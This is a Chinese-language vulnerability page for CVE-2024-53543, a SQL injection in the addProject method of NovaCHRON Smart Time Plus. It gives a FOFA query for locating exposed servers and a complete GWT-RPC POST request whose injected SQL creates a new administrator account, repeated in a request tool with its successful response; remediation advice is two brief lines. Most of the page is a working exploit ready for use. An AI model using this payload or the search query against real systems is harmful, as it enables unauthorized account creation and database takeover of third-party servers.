

NovaCHRON Zeitsysteme GmbH & Co.KG addProject sql注入漏洞（CVE-2024-53543）

漏洞描述

NovaCHRON Zeitsysteme GmbH & Co. KG 的 Smart Time Plus v8.x 至 v8.6 版本被发现存在一个 SQL 注入漏洞。该漏洞通过 smarttimeplus/MySQLConnection 端点的 addProject方法触发，攻击者可以利用该漏洞执行任意 SQL 查询，可能导致敏感数据泄露或数据库被完全控制。

影响版本

Smart Time Plus v8.x 至 v8.6 版本

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: title="smart time plus" && body="smart"

POC/EXP: 新增用户

```
POST /smarttimeplus/MySQLConnection HTTP/1.1
Content-Type: text/x-gwt-rpc; charset=UTF-8
Host: 127.0.0.1
X-GWT-Permutation: 6071C2350BA962C766FB6DCA4023B0F8
```

```
7|0|12|http://127.0.0.1/smarttimeplus/|99F97D9159E5E5154B6415791EF65C43|com.novachron.smarttimeplus.client.DBConn|addProject|java.lang.String/2004016611|java.lang.String/2004016611|java.lang.String/2004016611|x|0|x|password(rec_num,`user`,password,sgroup,persid,lang,enabled,access,emd,eod,`sdescribe`,`language`)VALUES(999,'admin2','*721AE3ED7D5723537BA36062D6AD7A43831900A1',0,1,6,'T','0','0','0',?,?);--|1|2|3|4|4|5|6|7|8|9|10|11|12|
```

发送请求

强制 HTTPS ☐

历史

爆破示例

数据扫描

美化

热加载

构造请求

1

POST /smarttimeplus/MySQLConnection HTTP/1.1

2

Content-Type: text/x-gwt-rpc; charset=UTF-8

3

Host: 127.0.0.1

4

X-GWT-Permutation: 6071C2350BA962C766FB6DCA4023B0F8

5

-

6

7|0|12|http://127.0.0.1/smarttimeplus/|99F97D9159E5E5154B6415791EF65C43|com.novachron.smarttimeplus.client.DBConn|addProject|java.lang.String/2004016611|java.lang.String/2004016611|java.lang.String/2004016611|x|0|x|password(rec_num,`user`,password,sgroup,persid,lang,enabled,access,emd,eod,`sdescribe`,`language`)VALUES(999,'admin2','*721AE3ED7D5723537BA36062D6AD7A43831900A1',0,1,6,'T','0','0','0',?,?);--|1|2|3|4|4|5|6|7|8|9|10|11|12|

Responses

19bytes / 399ms

美化

编码

1

HTTP/1.1 200

2

Content-Disposition: attachment

3

Content-Type: application/json; charset=utf-8

4

Date: Thu, 13 Mar 2025 06:39:00 GMT

5

Content-Length: 19

6

-

7

//OK[1,["x*x"],0,7]

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本